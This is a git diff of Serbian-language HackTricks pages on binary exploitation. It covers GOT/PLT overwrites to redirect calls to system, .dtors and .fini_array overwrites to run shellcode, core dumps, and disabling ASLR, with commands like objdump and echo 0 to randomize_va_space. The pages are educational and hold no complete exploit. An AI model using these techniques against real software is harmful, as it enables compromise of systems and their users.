## **Osnovne informacije** ## **Osnovne informacije**
### **GOT: Globalna tabela ofseta** ### **GOT: Global Offset Table**
**Globalna tabela ofseta (GOT)** je mehanizam koji se koristi u dinamički povezanim binarnim fajlovima za upravljanje **adresama spoljnih funkcija**. Pošto ove **adrese nisu poznate do vremena izvršavanja** (zbog dinamičkog povezivanja), GOT pruža način da se **dinamički ažuriraju adrese ovih spoljnih simbola** nakon što budu rešene. **Global Offset Table (GOT)** je mehanizam koji se koristi u dinamički povezanim binarnim datotekama za upravljanje **adresama spoljašnjih funkcija**. Pošto su te **adrese nepoznate do vremena izvršavanja** (zbog dinamičkog povezivanja), GOT pruža način da se **dinamički ažuriraju adrese ovih spoljašnjih simbola** kada se jednom reše.
Svaki unos u GOT-u odgovara simbolu u spoljnim bibliotekama koje binarni fajl može pozvati. Kada se **funkcija prvi put pozove, njena stvarna adresa se rešava dinamičkim povezivačem i čuva u GOT-u**. Naknadni pozivi iste funkcije koriste adresu sačuvanu u GOT-u, čime se izbegava trošak ponovnog rešavanja adrese. Svaki unos u GOT odgovara simbolu u spoljnim bibliotekama koje binarna datoteka može pozvati. Kada se **funkcija prvi put pozove, njena stvarna adresa se rešava putem dinamičkog linker-a i čuva u GOT-u**. Naknadni pozivi iste funkcije koriste adresu koja je sačuvana u GOT-u, čime se izbegava preopterećenje ponovnog rešavanja adrese.
### **PLT: Tabela vezivanja postupka** ### **PLT: Procedure Linkage Table**
**Tabela vezivanja postupka (PLT)** tesno sarađuje sa GOT-om i služi kao trambolina za rukovanje pozivima spoljnih funkcija. Kada binarni fajl **pozove spoljnu funkciju prvi put, kontrola se prenosi na unos u PLT-u koji je povezan sa tom funkcijom**. Ovaj PLT unos je odgovoran za pozivanje dinamičkog povezivača da reši adresu funkcije ako već nije rešena. Nakon što se adresa reši, čuva se u GOT-u. **Procedure Linkage Table (PLT)** blisko sarađuje sa GOT-om i služi kao trampolin za upravljanje pozivima spoljašnjim funkcijama. Kada binarna datoteka **pozove spoljašnju funkciju prvi put, kontrola se prenosi na unos u PLT-u povezan sa tom funkcijom**. Ovaj PLT unos je odgovoran za pozivanje dinamičkog linker-a da reši adresu funkcije ako već nije rešena. Nakon što se adresa reši, ona se čuva u GOT-u.
**Stoga,** unosi u GOT-u se direktno koriste kada se adresa spoljne funkcije ili promenljive reši. **Unosi u PLT-u se koriste za olakšavanje početne rezolucije** ovih adresa putem dinamičkog povezivača. **Dakle,** GOT unosi se koriste direktno kada se adresa spoljašnje funkcije ili promenljive reši. **PLT unosi se koriste za olakšavanje inicijalnog rešavanja** ovih adresa putem dinamičkog linker-a.
## Izvršenje ## Dobijanje izvršenja
### Provera GOT-a ### Proverite GOT
Dobijte adresu tabele GOT sa: **`objdump -s -j .got ./exec`** Dobijte adresu do GOT tabele sa: **`objdump -s -j .got ./exec`**
![](<../../../.gitbook/assets/image (619).png>) ![](<../../../.gitbook/assets/image (619).png>)
Primetite kako nakon **učitavanja** **izvršnog** fajla u GEF-u možete **videti** **funkcije** koje su u **GOT-u**: `gef➤ x/20x 0xADDR_GOT` Posmatrajte kako nakon **učitavanja** **izvršne datoteke** u GEF možete **videti** **funkcije** koje se nalaze u **GOT-u**: `gef➤ x/20x 0xADDR_GOT`
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) ![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Koristeći GEF možete **zapoceti** **debugging** sesiju i izvršiti **`got`** da biste videli got tabelu: Koristeći GEF možete **početi** sesiju **debugovanja** i izvršiti **`got`** da vidite got tabelu:
![](<../../../.gitbook/assets/image (621).png>) ![](<../../../.gitbook/assets/image (621).png>)
### GOT2Exec ### GOT2Exec
U binarnom fajlu, GOT ima **adrese funkcija ili** odeljak **PLT-a** koji će učitati adresu funkcije. Cilj ovog proizvoljnog pisanja je da se **prepiše unos u GOT-u** funkcije koja će biti izvršena kasnije **sa** **adresom** PLT-a **`system`** **funkcije** na primer. U binarnoj datoteci GOT ima **adrese do funkcija ili** do **PLT** sekcije koja će učitati adresu funkcije. Cilj ovog proizvoljnog pisanja je da **prepiše GOT unos** funkcije koja će biti izvršena kasnije **sa** **adresom** PLT-a **`system`** **funkcije** na primer.
Idealno, prepišete **GOT** neke **funkcije** koja će biti **pozvana sa parametrima koje kontrolišete** (tako da ćete moći da kontrolišete parametre poslate funkciji sistema). Idealan scenario je da **prepišete** **GOT** funkcije koja će **biti pozvana sa parametrima koje kontrolišete** (tako da ćete moći da kontrolišete parametre poslati sistemskoj funkciji).
Ako **`system`** **nije korišćen** u skripti, funkcija sistema **neće** imati unos u PLT-u. U ovom scenariju, moraćete **prvo procureti adresu** funkcije `system` a zatim prebrisati GOT da pokazuje na ovu adresu. Ako **`system`** **nije korišćen** od strane skripte, sistemska funkcija **neće** imati unos u PLT-u. U ovom scenariju, prvo ćete **morati da iscurite adresu** funkcije `system` i zatim prepisati GOT da pokazuje na ovu adresu.
Možete videti adrese PLT-a sa **`objdump -j .plt -d ./vuln_binary`** Možete videti PLT adrese sa **`objdump -j .plt -d ./vuln_binary`**
## **Jedan Gadget** ## **Jedan Gadget**
@ -62,7 +63,7 @@ Možete videti adrese PLT-a sa **`objdump -j .plt -d ./vuln_binary`**
## **Zaštite** ## **Zaštite**
Zaštita **Full RELRO** je namenjena da zaštiti ovu vrstu tehnike tako što će rešiti sve adrese funkcija kada se binarni fajl pokrene i napraviti **GOT tabelu samo za čitanje** nakon toga: Zaštita **Full RELRO** je namenjena zaštiti od ove vrste tehnike rešavanjem svih adresa funkcija kada se binarna datoteka pokrene i čineći **GOT tabelu samo za čitanje** nakon toga:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md) [relro.md](../common-binary-protections-and-bypasses/relro.md)
@ -73,16 +74,17 @@ Zaštita **Full RELRO** je namenjena da zaštiti ovu vrstu tehnike tako što će
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) * [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,42 +1,43 @@
# AWS2Exec - .dtors & .fini\_array # AWS2Exec - .dtors & .fini\_array
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## .dtors ## .dtors
{% hint style="danger" %} {% hint style="danger" %}
Danas je veoma **čudno naći binarni fajl sa .dtors sekcijom**. Danas je veoma **čudno pronaći binarni fajl sa .dtors sekcijom**.
{% endhint %} {% endhint %}
Destruktori su funkcije koje se **izvršavaju pre završetka programa** (nakon što se `main` funkcija završi).\ Destruktori su funkcije koje se **izvršavaju pre nego što program završi** (nakon što `main` funkcija vrati).\
Adrese ovih funkcija se čuvaju unutar **`.dtors`** sekcije binarnog fajla i stoga, ako uspete **upisati** adresu **shell koda** u **`__DTOR_END__`**, to će biti **izvršeno** pre nego što program završi. Adrese ovih funkcija se čuvaju unutar **`.dtors`** sekcije binarnog fajla i stoga, ako uspete da **napišete** **adresu** u **shellcode** u **`__DTOR_END__`**, to će biti **izvršeno** pre nego što program završi.
Dobijte adresu ove sekcije sa: Dobijte adresu ove sekcije sa:
```bash ```bash
objdump -s -j .dtors /exec objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR” rabin -s /exec | grep “__DTOR”
``` ```
Obično ćete pronaći **oznake DTOR-a** **između** vrednosti `ffffffff` i `00000000`. Dakle, ako vidite samo te vrednosti, to znači da **nema registrovane funkcije**. Zato **prepišite** **`00000000`** sa **adresom** **shell koda** da biste ga izvršili. Obično ćete pronaći **DTOR** oznake **između** vrednosti `ffffffff` i `00000000`. Dakle, ako samo vidite te vrednosti, to znači da **nema registrovane funkcije**. Dakle, **prepišite** **`00000000`** sa **adresom** do **shellcode** da biste ga izvršili.
{% hint style="warning" %} {% hint style="warning" %}
Naravno, prvo morate pronaći **mesto za čuvanje shell koda** kako biste ga kasnije mogli pozvati. Naravno, prvo morate pronaći **mesto za skladištenje shellcode** kako biste ga kasnije pozvali.
{% endhint %} {% endhint %}
## **.fini\_array** ## **.fini\_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. U suštini, ovo je struktura sa **funkcijama koje će biti pozvane** pre nego što program završi, poput **`.dtors`**. Ovo je zanimljivo ako možete pozvati svoj **shellcode jednostavno skakanjem na adresu**, ili u slučajevima kada treba da se **vratite na `main`** ponovo da biste **iskoristili ranjivost drugi put**.
```bash ```bash
objdump -s -j .fini_array ./greeting objdump -s -j .fini_array ./greeting
@ -47,22 +48,23 @@ Contents of section .fini_array:
#Put your address in 0x8049934 #Put your address in 0x8049934
``` ```
Imajte na umu da ovo **neće** **stvoriti** večnu petlju jer će kanarinci primetiti kada se vratite u glavni program, kraj steka može biti oštećen i funkcija više neće biti ponovo pozvana. Dakle, sa ovim ćete moći **izvršiti još 1 put** ranjivost. Napomena da ovo **neće** **napraviti** **večnu petlju** jer kada se vratite u main, kanar će primetiti, kraj steka može biti oštećen i funkcija se neće ponovo pozvati. Tako ćete moći da **imate još 1 izvršenje** ranjivosti.
{% hint style="danger" %} {% hint style="danger" %}
Imajte na umu da je sa [Full Relro](../common-binary-protections-and-bypasses/relro.md), sekcija `.fini_array` postavljena kao **samo za čitanje**. Napomena da sa [Full RELRO](../common-binary-protections-and-bypasses/relro.md), sekcija `.fini_array` postaje **samo za čitanje**.
{% endhint %} {% endhint %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,39 +1,55 @@
# Zajedničke binarne zaštite # Uobičajene binarne zaštite
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Omogućavanje Core fajlova ## Omogućite Core datoteke
**Core fajlovi** su vrsta fajlova koje generiše operativni sistem kada proces doživi pad. Ovi fajlovi zabeleže sliku memorije procesa u trenutku njegovog završetka, uključujući memoriju procesa, registre i stanje brojača programa, među ostalim detaljima. Ovaj snimak može biti izuzetno vredan za debagovanje i razumevanje razloga zbog kojih je došlo do pada. **Core datoteke** su vrsta datoteke koju generiše operativni sistem kada proces padne. Ove datoteke beleže sliku memorije padenog procesa u trenutku njegovog završetka, uključujući memoriju procesa, registre i stanje programskog brojača, među ostalim detaljima. Ova snimka može biti izuzetno korisna za otklanjanje grešaka i razumevanje zašto je došlo do pada.
### **Omogućavanje Generisanja Core Dump Fajlova** ### **Omogućavanje generisanja Core Dump-a**
Podrazumevano, mnogi sistemi ograničavaju veličinu core fajlova na 0 (tj. ne generišu core fajlove) radi uštede prostora na disku. Da biste omogućili generisanje core fajlova, možete koristiti `ulimit` komandu (u bash-u ili sličnim shell-ovima) ili konfigurisati postavke na nivou sistema. Podrazumevano, mnogi sistemi ograničavaju veličinu core datoteka na 0 (tj. ne generišu core datoteke) kako bi uštedeli prostor na disku. Da biste omogućili generisanje core datoteka, možete koristiti komandu `ulimit` (u bash-u ili sličnim ljuskama) ili konfigurisati sistemske postavke.
* **Korišćenje ulimit-a**: Komanda `ulimit -c unlimited` omogućava trenutnoj shell sesiji da kreira core fajlove neograničene veličine. Ovo je korisno za debagovanje sesija, ali nije trajno nakon ponovnog pokretanja sistema ili novih sesija. * **Korišćenje ulimit-a**: Komanda `ulimit -c unlimited` omogućava trenutnoj sesiji ljuske da kreira core datoteke neograničene veličine. Ovo je korisno za sesije otklanjanja grešaka, ali nije trajno nakon ponovnog pokretanja ili novih sesija.
```bash ```bash
ulimit -c unlimited ulimit -c unlimited
``` ```
* **Trajna konfiguracija**: Za trajnije rešenje, možete urediti datoteku `/etc/security/limits.conf` da uključite liniju poput `* soft core unlimited`, što omogućava svim korisnicima da generišu datoteke jezgra neograničene veličine, bez potrebe da ručno postavljaju ulimit u svojim sesijama. * **Trajna Konfiguracija**: Za trajno rešenje, možete urediti datoteku `/etc/security/limits.conf` da uključite liniju poput `* soft core unlimited`, koja omogućava svim korisnicima da generišu core datoteke neograničene veličine bez potrebe da ručno postavljaju ulimit u svojim sesijama.
```markdown ```markdown
* soft core unlimited * soft core unlimited
``` ```
### **Analiziranje Core fajlova sa GDB-om** ### **Analiza Core Fajlova sa GDB**
Za analiziranje core fajla, možete koristiti alate za debagovanje poput GDB-a (GNU Debager). Pretpostavljajući da imate izvršni fajl koji je proizveo core dump i da je core fajl nazvan `core_file`, možete započeti analizu sa: Da biste analizirali core fajl, možete koristiti alate za debagovanje kao što je GDB (GNU Debugger). Pretpostavljajući da imate izvršni fajl koji je proizveo core dump i da se core fajl zove `core_file`, možete započeti analizu sa:
```bash ```bash
gdb /path/to/executable /path/to/core_file gdb /path/to/executable /path/to/core_file
``` ```
Ova komanda učitava izvršnu datoteku i jezgro u GDB, omogućavajući vam da pregledate stanje programa u vreme pada. Možete koristiti GDB komande da istražite stek, pregledate promenljive i razumete uzrok pada. Ova komanda učitava izvršni fajl i core fajl u GDB, omogućavajući vam da pregledate stanje programa u trenutku pada. Možete koristiti GDB komande da istražite stek, pregledate promenljive i razumete uzrok pada.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,114 +1,115 @@
# ASLR # ASLR
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne Informacije ## Osnovne informacije
**Randomizacija rasporeda adresnog prostora (ASLR)** je sigurnosna tehnika korišćena u operativnim sistemima za **randomizaciju memorijskih adresa** koje koriste sistemski i aplikativni procesi. Na taj način, značajno otežava napadaču predviđanje lokacije određenih procesa i podataka, kao što su stek, hip i biblioteke, čime se umanjuje određene vrste eksploatacija, posebno prelivanje bafera. **Address Space Layout Randomization (ASLR)** je tehnika bezbednosti koja se koristi u operativnim sistemima za **nasumično određivanje memorijskih adresa** koje koriste sistemski i aplikativni procesi. Na taj način, značajno otežava napadaču da predvidi lokaciju specifičnih procesa i podataka, kao što su stek, heap i biblioteke, čime se ublažavaju određene vrste eksploatacija, posebno prelivanja bafera.
### **Provera Statusa ASLR** ### **Proveravanje ASLR statusa**
Da biste **proverili** status ASLR-a na Linux sistemu, možete pročitati vrednost iz fajla `/proc/sys/kernel/randomize_va_space`. Vrednost sačuvana u ovom fajlu određuje vrstu primenjene ASLR: Da biste **proverili** ASLR status na Linux sistemu, možete pročitati vrednost iz datoteke `/proc/sys/kernel/randomize_va_space`. Vrednost koja se čuva u ovoj datoteci određuje vrstu ASLR koja se primenjuje:
* **0**: Bez randomizacije. Sve je statično. * **0**: Nema nasumičnosti. Sve je statično.
* **1**: Konzervativna randomizacija. Deljenje biblioteka, stek, mmap(), VDSO stranica su randomizovani. * **1**: Konzervativna nasumičnost. Deljene biblioteke, stek, mmap(), VDSO stranica su nasumične.
* **2**: Potpuna randomizacija. Pored elemenata randomizovanih konzervativnom randomizacijom, memorija upravljana putem `brk()` je randomizovana. * **2**: Potpuna nasumičnost. Pored elemenata koji su nasumični kroz konzervativnu nasumičnost, memorija koja se upravlja putem `brk()` je nasumična.
Možete proveriti status ASLR-a pomoću sledeće komande: Možete proveriti ASLR status sledećom komandom:
```bash ```bash
cat /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space
``` ```
### **Onemogućavanje ASLR-a** ### **Onemogućavanje ASLR-a**
Da biste **onemogućili** ASLR, postavite vrednost `/proc/sys/kernel/randomize_va_space` na **0**. Onemogućavanje ASLR-a obično se ne preporučuje osim u testnim ili debagirajućim scenarijima. Evo kako to možete onemogućiti: Da biste **onemogućili** ASLR, postavite vrednost `/proc/sys/kernel/randomize_va_space` na **0**. Onemogućavanje ASLR-a se generalno ne preporučuje van scenarija testiranja ili debagovanja. Evo kako možete to da uradite:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
Takođe možete onemogućiti ASLR za izvršavanje sa: Možete takođe onemogućiti ASLR za izvršavanje sa:
```bash ```bash
setarch `arch` -R ./bin args setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args setarch `uname -m` -R ./bin args
``` ```
### **Omogućavanje ASLR-a** ### **Omogućavanje ASLR**
Da biste **omogućili** ASLR, možete upisati vrednost **2** u datoteku `/proc/sys/kernel/randomize_va_space`. Obično je potrebno imati privilegije root korisnika. Potpuna randomizacija se može postići sledećom komandom: Da biste **omogućili** ASLR, možete napisati vrednost **2** u datoteku `/proc/sys/kernel/randomize_va_space`. To obično zahteva root privilegije. Omogućavanje pune randomizacije može se izvršiti sledećom komandom:
```bash ```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### **Upornost preko ponovnog pokretanja** ### **Persistencija kroz ponovna pokretanja**
Promene napravljene pomoću `echo` komandi su privremene i biće resetovane prilikom ponovnog pokretanja. Da biste napravili promenu trajnom, morate urediti datoteku `/etc/sysctl.conf` i dodati ili izmeniti sledeću liniju: Promene napravljene sa `echo` komandama su privremene i biće resetovane prilikom ponovnog pokretanja. Da biste promenu učinili trajnom, potrebno je da uredite datoteku `/etc/sysctl.conf` i dodate ili izmenite sledeću liniju:
```tsconfig ```tsconfig
